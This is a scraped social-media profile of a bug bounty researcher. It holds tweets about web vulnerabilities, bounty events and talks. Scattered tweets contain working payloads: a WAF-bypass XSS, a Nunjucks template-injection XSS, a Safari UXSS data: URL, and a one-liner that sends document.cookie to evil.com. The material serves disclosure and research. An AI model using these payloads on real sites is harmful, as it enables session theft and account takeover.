Frans Rosén Profile
Frans Rosén

@fransrosen

Followers
39,302
Following
900
Media
230
Statuses
2,734

Co-founder of @centrahq / @detectify / @poweredbyingrid . I do not advertise doing hacking services, do not trust the ones telling you I do.

Sweden
Joined October 2009
Don't wanna be here? Send us removal request.
Explore trending content on Musk Viewer
Pinned Tweet
@fransrosen
Frans Rosén
4 years
Took more than 2 years, but just released the postMessage-tracker Chrome Extension! Look at the functions receiving postMessages directly in the extension, look at the messages and sender/receiver window locations and track everything using a log-URL.
Tweet media one
34
602
2K
@fransrosen
Frans Rosén
5 years
If you have an AppleTV named as an XSS-payload it will trigger when AirPlay is used in Safari on iOS. A pretty far-fetched UXSS I would say.
Tweet media one
15
220
955
@fransrosen
Frans Rosén
2 years
I decided to make a homage-post to @homakov and @Nirgoldshlager about different OAuth-token leakage methods I've been researching – ten years after their blog posts that inspired me to start hunt for bugs ♥️ thank you.
21
372
940
@fransrosen
Frans Rosén
3 years
I found some permission issues when hacking Apple CloudKit. I wrote about three of them @detectify labs, one where I accidentally deleted all shared Apple Shortcuts.
Tweet media one
17
202
788
@fransrosen
Frans Rosén
5 years
Akamai WAF bypass XSS in HTML-context when no character-filtering exists to trick it: <style> @keyframes a{}b{animation:a;}</style><b/onanimationstart=prompt`${document.domain}& #x60 ;>
8
257
652
@fransrosen
Frans Rosén
3 years
There's something beautiful and nostalgic about old XSS-alerts from reports sent almost 10 years ago.
Tweet media one
Tweet media two
Tweet media three
18
37
577
@fransrosen
Frans Rosén
3 years
If you're testing a site that needs a unique CSRF-token for each call, you can use Hackvertor's custom tags to make a simple python script to fetch a new token for you. Very simple solution and works very nicely. Thank you again @garethheyes !
Tweet media one
Tweet media two
10
196
576
@fransrosen
Frans Rosén
5 years
Here are my slides from my talk at the Facebook/Google-hosted BountyCon 2019 in Singapore earlier this year: Live Hacking like a MVH – A walkthrough on methodology and strategies to win big
7
224
579
@fransrosen
Frans Rosén
7 months
Tweet media one
19
51
488
@fransrosen
Frans Rosén
2 years
I was finally able to disclose one of the examples from my last blog post Here's the PoC-movie from the report to Reddit:
@disclosedh1
publiclyDisclosed
2 years
Reddit disclosed a bug submitted by fransrosen: - Bounty: $10,000 #hackerone #bugbounty
Tweet media one
5
89
445
14
113
430
@fransrosen
Frans Rosén
10 months
Three time MVH. Feels good, not gonna lie.
@Hacker0x01
HackerOne
10 months
Congratulations to our #H1702 winners! 🎉 1st Place: fransrosen, avlidienbrunn 2nd Place: jonathanbouman, zseano Best Team Collaboration: jonathanbouman, zseano Exterminators: fransrosen, avlidienbrunn, inhibitor181 Eradicator: meals, yashrs MVH: fransrosen, avlidienbrunn
Tweet media one
10
35
410
28
10
420
@fransrosen
Frans Rosén
2 years
Ten years ago today I sent my first bug bounty report. It was to PayPal. Fascinating to see some things are very different now from then, but some things are still exactly like they were.
Tweet media one
15
16
406
@fransrosen
Frans Rosén
6 years
I have open sourced bountyplz, the tool we used to submit 72 reports in less than 10 minutes from the H1-415 live hacking event in San Francisco:
5
120
373
@fransrosen
Frans Rosén
2 years
I have researched Oblivious DoH (ODoH) a bit and came to a few conclusions around the lack of security concerns for SSRF in the RFC. I was asked to also make a public issue about it after reporting issues in odoh-server-go made by Cloudflare.
Tweet media one
6
78
362
@fransrosen
Frans Rosén
7 months
I often export proxy items from Burp to extract certain data. Example: filter out all response headers where request param is X, get a list of all response params for custom wordlist creation etc. I built this tool to make it do what I want:
8
75
362
@fransrosen
Frans Rosén
3 years
I wrote a simple reflection script which helps a lot to find script gadgets ( @kkotowicz @slekies @sirdarckcat ) for XSS. There are probably more advanced solutions but it makes it a lot easier to go through large amounts of js-files to find candidates.
Tweet media one
4
115
352
@fransrosen
Frans Rosén
1 year
Here's my talk for the RCE on Apple I found using hot jar swapping And here's the demo code you can play with to test the flow I abused:
Tweet media one
6
78
354
@fransrosen
Frans Rosén
3 years
An alternative to @terjanq 's unlimited iframe DOM-clobbering without the need of name="X", if you're only limited by CSP:
Tweet media one
3
67
331
@fransrosen
Frans Rosén
7 months
What was the best reply you ever got from a program on a bug report? This one is up there:
Tweet media one
38
15
319
@fransrosen
Frans Rosén
6 years
I can't believe it! I won the H1-514 in Montreal! But from Stockholm. During the announcements I was jumping frozen and cold on a parking lot at 3 AM screaming. It felt like I was there, and it seems I kind of was also, thanks to @jobertabma 😂 THANK YOU FOR THIS! ❤️❤️❤️ #h1514
Tweet media one
52
11
320
@fransrosen
Frans Rosén
6 years
I read the S3-docs and found that signing-errors disclosed the bucket-name. This can be used when CDNs are put in front of a bucket. It doesn't work in all cases, but many of them. You need an access-key to make it work (no secret-key) S3 decloaker:
8
115
297
@fransrosen
Frans Rosén
6 years
Nunjucks template injection XSS, will escape attribute value: {%25+macro+field()+%25}moc.okok//:ptth//)niamod.tnemucod(trela=daolno+gvs http://http:""//{%25+endmacro+%25}{{+field(1)%7curlize%7creverse%7curlize%7creverse%7curlize%7creverse+}}
5
102
284
@fransrosen
Frans Rosén
4 years
Det digitala kösystemet som används för att anmäla sig till Högskoleprovet 2020 går att hoppa över i princip med hjälp av en annonsblockerare. 1/9
5
77
281
@fransrosen
Frans Rosén
6 years
Safari 10 UXSS (CVE-2017-7089) found by me and @i_bo0om last year: data:text/html,<script>function y(){x=open('parent-tab://google.com','_top'),x.document.body.innerHTML='<img/src=""onerror="alert(document.domain)">'};setTimeout(y,100)</script>
Tweet media one
3
93
275
@fransrosen
Frans Rosén
5 years
One of my "client-side race condition"-bugs finally got disclosed. I'm racing by sending postmessages faster than the legit sender and by opening a new window instead of a tab, I can keep the opener window send the messages much faster.
3
70
275
@fransrosen
Frans Rosén
7 years
Hacking Slack using postMessage and WebSocket-reconnect to steal your precious token.
7
174
269
@fransrosen
Frans Rosén
6 years
Turns out my Smart TV was really into CORS. It was possible to bruteforce the PIN remotely in under 2 mins using a race condition, after that you have full control using IRCC et al.
3
64
238
@fransrosen
Frans Rosén
6 months
Here's an XSS-challenge taken from real life. Can you make it alert() on my origin? Send me your solution in DM. I will post a hint in this thread after the weekend. #xss #bugbounty
6
44
243
@fransrosen
Frans Rosén
3 years
How would you explain SSRF for a seven year old?
33
18
234
@fransrosen
Frans Rosén
5 months
Here's some of my submission stats from 2023 similar to the yearly review chat from the latest @ctbbpodcast episode
Tweet media one
Tweet media two
Tweet media three
4
8
230
@fransrosen
Frans Rosén
7 years
Here are my slides from the OWASP+Security Fest talk "DNS hijacking using cloud providers – No verification needed"
6
112
222
@fransrosen
Frans Rosén
6 years
He is my post about upload policies and signed urls. A few weeks ago I talked about it at @securityfest and @AppSecEU .
5
98
212
@fransrosen
Frans Rosén
7 years
I built a pretty dope Chrome Extension tracking postMessage-usage. Will log all usage (url, stack, domain) using CORS to wherever + visually
Tweet media one
10
56
207
@fransrosen
Frans Rosén
2 years
I just launched my website, it only shows unclaimed S3-buckets.
Tweet media one
11
13
204
@fransrosen
Frans Rosén
6 years
"There is no reason to do bug bounties. All bugs are already found and the competition is too hard" – said someone that should watch me and @avlidienbrunn speak at OWASP Stockholm the 2nd of October – "Eliminating False Assumptions in Bug Bounties"
2
42
182
@fransrosen
Frans Rosén
19 days
If you ever wanted a video about live hacking including @JonathanBouman smashing a sign saying NO HACKERS ALLOWED, a shuffling @avlidienbrunn and me roaring as a lion, today all your wishes came true: Thank you @Hacker0x01 @awscloud for an amazing event♥️
4
9
178
@fransrosen
Frans Rosén
6 years
A huge amount of sites are doing this wrong still and this is such a beautiful attack. Often leads to account takeover due to CSRF-token leakage. Great job again @omer_gil !
@omer_gil
Omer Gil
6 years
My #BHUSA talk about the Web Cache Deception attack is now on YouTube: @BlackHatEvents
1
104
201
3
54
167
@fransrosen
Frans Rosén
6 years
OWASP beach talks @nullcon !
Tweet media one
3
15
167
@fransrosen
Frans Rosén
7 years
SOP bypass in Safari 10 reported to Apple today. Stay safe out there. Thanks for the collab @i_bo0om
Tweet media one
8
43
166
@fransrosen
Frans Rosén
5 years
I will be doing the keynote on the first @bsidesahmedabad ever in a few minutes! Super thankful for being invited, I hope you will enjoy! #bsidesahmedabad
8
9
156
@fransrosen
Frans Rosén
9 years
Next level of beg bounty – impersonation. Beware. http://t.co/SaGNy1B9B7
Tweet media one
25
46
151
@fransrosen
Frans Rosén
7 years
This might lead to some fun XSS on status-code errors: header("HTTP/1.0 999 <img src=x onerror=alert(1)>");
4
48
147
@fransrosen
Frans Rosén
7 years
Yea, I did a dancing alert-popup again. #googlevrp #bugbounty
Tweet media one
9
12
147
@fransrosen
Frans Rosén
7 years
Me and @avlidienbrunn are releasing Bountydash tonight. "To create a better overview and to give you stats of your bug bounty rewards."
Tweet media one
7
30
147
@fransrosen
Frans Rosén
5 years
Now @HivarekarPranav is doing a GraphQL talk, super exciting! #bsidesahmedabad
Tweet media one
3
8
141
@fransrosen
Frans Rosén
8 years
My slides from @securityfest are now online! "The Secret Life of a Bug Bounty Hunter"
4
72
144
@fransrosen
Frans Rosén
3 years
Such an amazing chain of discovery, and very nicely presented. Congrats @epereiralopez !
@LiveOverflow
LiveOverflow 🔴
3 years
Hacking into Google's Network for $133,337 🏆 It was a pleasure to talk to @epereiralopez about his bug bounty research into Google Cloud. It was really fascinating to hear about the Google internals and crazy tricks he knew.
Tweet media one
12
266
1K
1
14
137
@fransrosen
Frans Rosén
7 years
URL/%E2%80%A9-this-is-hidden-from-address-bar-in-chrome
5
55
138
@fransrosen
Frans Rosén
6 years
Congrats @securinti for the MVH! Now all of Vegas knows!
Tweet media one
2
14
133
@fransrosen
Frans Rosén
6 years
Live hacking event in San Francisco. Team Sweden representing in the team challenge. Game is on. Wish us luck. #h1415
Tweet media one
10
12
132
@fransrosen
Frans Rosén
6 years
I found an issue with ACME TLS-SNI-01/02 used by Let's Encrypt. Here's the first announcement with some details.
@letsencrypt_ops
Let's Encrypt Ops
6 years
Update regarding TLS-SNI validation can be found here: See
0
21
27
5
55
126
@fransrosen
Frans Rosén
5 months
In the 🧵 below is the solution for the XSS-challenge I posted last Friday. Thanks to all that tried it and to the ones that solved it, great job!
@fransrosen
Frans Rosén
6 months
Here's an XSS-challenge taken from real life. Can you make it alert() on my origin? Send me your solution in DM. I will post a hint in this thread after the weekend. #xss #bugbounty
6
44
243
2
23
123
@fransrosen
Frans Rosén
7 years
23 minutes from report to reward. Wow, @bugcrowd !
4
8
118
@fransrosen
Frans Rosén
6 years
Electrum 3.0.4 is still vulnerable to some extent, since it allows blind posting of commands using text/plain. @taviso mentioned gui-command, I did an ugly PoC of it. Safari allows you to find ports which gives errors but are still open. Wait until proper patch is out.
1
26
114
@fransrosen
Frans Rosén
7 years
Best slide ever in @Jhaddix 's LevelUp talk. #ittakesacrowd
Tweet media one
4
21
116
@fransrosen
Frans Rosén
6 years
I will be at @nullcon next week with @jobertabma and @emgeekboy (to name a few)! See you there!
14
5
116
@fransrosen
Frans Rosén
5 years
I published my 2018 Year In Review on @Hacker0x01 :
5
4
114
@fransrosen
Frans Rosén
6 years
Hey @securinti , I hope you'll enjoy #H1702 in Vegas, we'll take care of you, I promise. #thehackowner
Tweet media one
6
13
111
@fransrosen
Frans Rosén
3 years
STÖK @stokfredrik is on the stage! (with @fabio_viggiani ) at @SEC_T_org
Tweet media one
0
3
107
@fransrosen
Frans Rosén
7 years
Here's the script injected to Facebook using breached Chrome Extensions as one vector, currently targeting Messenger
2
61
107
@fransrosen
Frans Rosén
8 years
Short XSS cookie extraction (Chrome/FF): javascript:fetch(/\/evil.com/,{headers:{x:document.cookie}}) (Need CORS on the receiving end)
Tweet media one
1
48
107
@fransrosen
Frans Rosén
7 years
I made another dancing alert XSS back in Feb, an obvious dupe tho. Spent more time trying to sync w/ the music :)
6
30
104
@fransrosen
Frans Rosén
5 years
This is neat! Chrome fetches CSS @imports before the full document is received and by abusing output buffers you can import multiple CSS in the same response based on the previous import and do sequential extracting for HTML-attributes. Great writeup!
@d0nutptr
d0nut 🦀
5 years
Here it is! My blog post on Sequential Import Chaining (and tool: ) #bugbountytip #security
14
204
452
4
29
103
@fransrosen
Frans Rosén
6 years
In Chrome, run: data:text/html,<script>Object.getPrototypeOf=function(){return {constructor:{}}}</script> Type anything in the console after that, the suggestion-tooltip will run into an infinite recursion. #sundayfunday
0
27
102
@fransrosen
Frans Rosén
7 years
omw home. Thank you all for hanging out, so great meeting all of you! Winning the belt was unbelievable, thank you! Until next time ❤️
Tweet media one
2
8
103
@fransrosen
Frans Rosén
7 years
The AWS email about readable S3 buckets has resulted in influx of deleted buckets but not removed DNS-RRs. Subdomain takeovers en masse.
4
40
101
@fransrosen
Frans Rosén
6 years
Such an AWESOME event in Amsterdam. I love hanging out with all the people, talking, sharing ideas, collaborate. Congrats @MrTuxracer for the MVH, well deserved! And THANK YOU @Dropbox for being such a great and fun target, you did not make it easy for us :D Karaoke-time! #h13120
2
3
101
@fransrosen
Frans Rosén
5 years
Every time I see this, my heart beats faster #ssrf
Tweet media one
8
4
100
@fransrosen
Frans Rosén
7 years
We dissected the Facebook malware through Chrome extensions from last week together with Kaspersky
0
37
95
@fransrosen
Frans Rosén
6 years
On my way to #h1702 in Vegas, representing Team Sweden 🇸🇪! Also, thanks @securinti for rooting for us even back in 2015 (check the first link below). 😘
@securinti
Inti De Ceukelaire
8 years
Google Chrome just got a bit safer again by patching a cool escaping bug I've found. Write up coming soon!
1
1
24
5
7
97
@fransrosen
Frans Rosén
5 years
Great advice from a friend, enjoy and get going 👍
@stokfredrik
STÖK ✌️
5 years
HOW TO GET STARTED IN BUG BOUNTY (9+pro tips) A week ago i asked the bounty community for their top 3 best tips on how to get started. This is the result. Thanks everyone who contributed and your awesome support! <3
Tweet media one
42
268
820
3
12
94
@fransrosen
Frans Rosén
7 years
#bountydash is now released! BountyDash - A local bug bounty statistics dashboard
Tweet media one
3
48
94
@fransrosen
Frans Rosén
3 years
A little bit less, but still a n00b.
Tweet media one
6
0
93
@fransrosen
Frans Rosén
8 years
?x=<img+src=x+onerror=`ö`-alert(1)> <?=json_encode($_GET['x'])?> #chrome #xss #bypass
4
39
88
@fransrosen
Frans Rosén
7 years
We don't need no verification We don't need no domain control Hey! Hackers! Leave those subs alone! 📣🎶
1
45
89
@fransrosen
Frans Rosén
3 years
0
0
86
@fransrosen
Frans Rosén
5 years
Such a small little detail in the UX. It never gets any credit, but it's a great solution when scrolling through large amount of items not wanting to filter, but still want to find things. I will now finally give it the recognition it deserves. Thank you @Burp_Suite
6
4
85
@fransrosen
Frans Rosén
8 years
I finally went past 10k points on @Hacker0x01 . Special shout out to @sumlac and @c0ldbr3w for pushing me over the line <3
Tweet media one
15
6
85
@fransrosen
Frans Rosén
7 years
This was kind of awesome.
Tweet media one
7
8
84
@fransrosen
Frans Rosén
5 years
I'm speaking tomorrow together with Nathan Case (AWS) at AWS re:Inforce in Boston. Come by to say hi afterwards!
1
6
78
@fransrosen
Frans Rosén
8 years
Seriously, I found this Google XSS tonight by accident from a payload I planted in 2013. Step up the game @sasi2103 !
Tweet media one
11
9
78
@fransrosen
Frans Rosén
7 years
"Please don't XSS our password field"
Tweet media one
5
12
77
@fransrosen
Frans Rosén
1 year
In API:s I've noticed an interesting correlation between the occurrence of typos in error messages and the amount of vulnerabilities present
1
2
75